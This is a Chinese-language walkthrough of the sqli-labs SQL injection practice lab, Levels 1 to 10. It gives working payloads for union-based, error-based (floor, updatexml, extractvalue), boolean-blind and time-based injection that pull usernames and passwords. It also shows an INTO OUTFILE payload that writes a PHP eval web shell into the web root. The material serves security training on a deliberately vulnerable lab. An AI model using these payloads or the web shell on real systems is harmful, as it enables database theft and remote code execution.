打开页面,提示用id作为变量
打开hackbar,构造?id=1看看
?id=1 and 1=2#
和?id=1 and 1=1#
均正确执行,说明不是数字型注入
加个'报错,看来是字符型注入了,也可以用报错注入
用#注释结果报错,看来#被过滤了
换成--+
成功返回页面
查询字段名有几个,几次尝试,发现为3
看可用字段名有几个,为2,3
查询出数据库名?id=-1' union select 1,database(), 3 --+
有了数据库名,就可以查询出表名
?id=-1' union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1), 3 --+
接下来查询出其他表名,其中一个为users
根据数据库名和表名查询出字段名,查询出其中一个字段名为password,同理查询出了其他字段名:id,username
?id=-1' union select 1,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1), 3 --+
接下来获取用户名和密码
?id=-1' union select 1,(select username from security.users limit 1,1), (select password from security.users limit 1,1) --+
这密码真有个性
因为输入'会报错,可以根据错误显示,来获取数据
具体可以看看Less-5的解释和详细操作
?id=1 and 1=1
成功显示
?id=1 and 1=2
毛都没有,显然是数字型注入
接下来的操作和less-1一样,只不过开头少了一个单引号
?id=-1 union select 1,(select username from security.users limit 1,1), (select password from security.users limit 1,1) --+
输入?id=-1',
报错
可知id在Sql语句中用('$id')来查询
构造?id=1') order by 3--+
绕过()
接下来就是熟悉环节了,略过
?id=1"
可知查询语句为("$id"),用的双引号
因此?id=1") order by 3--+
绕过
后面略过
?id=1
不显示结果,?id=2
也不显示?id=1'
会报错通过floor报错(floor()取整)
and (select 1 from (select count(*),concat(( payload),floor(rand()*2)) as x from information_schema.tables group by x)a)
该语句将输出字符长度限制为64个字符
通过updatexml报错
and updatexml(1, payload,1)
该语句对输出的字符长度做了限制,其最长输出32位
并且对payload的返回类型也做了限制,只有在payload返回的不是xml格式才会生效
通过ExtractValue报错
and extractvalue(1, payload)
输出字符有长度限制,最长32位。
payload即我们要输入的sql查询语句
构造payload:
?id=1' and (select 1 from (select count(*),concat(( select table_name from information_schema.tables where table_schema=database() limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a)--+
接下来略过
less-5的单引号换成双引号
注意设置mySQL中secure-file-priv=""
试探多次,没想到竟然有两个括号:
题目是想要让我们利用dump into file功能写入小马
导出到文件就是可以将查询结果导出到一个文件中,如常见的将一句话木马导出到一个php文件中,sqlmap中也有导出一句话和一个文件上传的页面
常用的语句是: select "<?php @eval($_POST['giantbranch']);?>" into outfile "XXX\test.php"
这里要获取到网站的在系统中的具体路径(绝对路径)
要怎么获取呢,根据系统和数据库猜测,
如winserver的iis默认路径是c:/inetpub/wwwroot/,这好像说偏了,这是asp的,但知道也好
linux的nginx一般是/usr/local/nginx/html,/home/wwwroot/default,/usr/share/nginx,/var/www/htm等
apache 就/var/www/htm,/var/www/html/htdocs
@@datadir 读取数据库路径,@@basedir MYSQL 获取安装路径,但是这道题不会显示.
?id=1')) union select 1, "<?php @eval($_POST['chopper']);?>" ,3 into outfile "D:\\BaiduNetdiskDownload\\phpstudy_pro\\WWW\\123456.php" --+
连接成功
?id=1
?id=1'不反回结果
?id=1' and 1=1 --+返回结果
?id=1' and 1=2 --+不返回结果
推测为字符型盲注
接下来步骤:
判断数据库库名长度
?id=1' and length(database())=8 --+
利用burpsuite爆破数据库名
?id=1' and substr(database(),1,1)='a' --+
substr
是截取database()
的值,1,1
指从第一个字符开始,返回一个值
由爆破结果可获得数据库名
同理可获得表名,字段名
?id=1'
?id=1' and 1=2--+
?id=1' and 1=1--+
均返回如下页面
看的我一脸懵逼,看了下源码发现不管正确还是错误,返回结果是一样的,这咋办呢?
查了一下,要用时间注入,可以使用and if(length(查询名)>=6,sleep(5),1)
如果长度大于6,就会执行sleep(5),否则查询1
sleep(5)需要5秒,执行1不需要一秒
和Less-9一样,不过'变成了"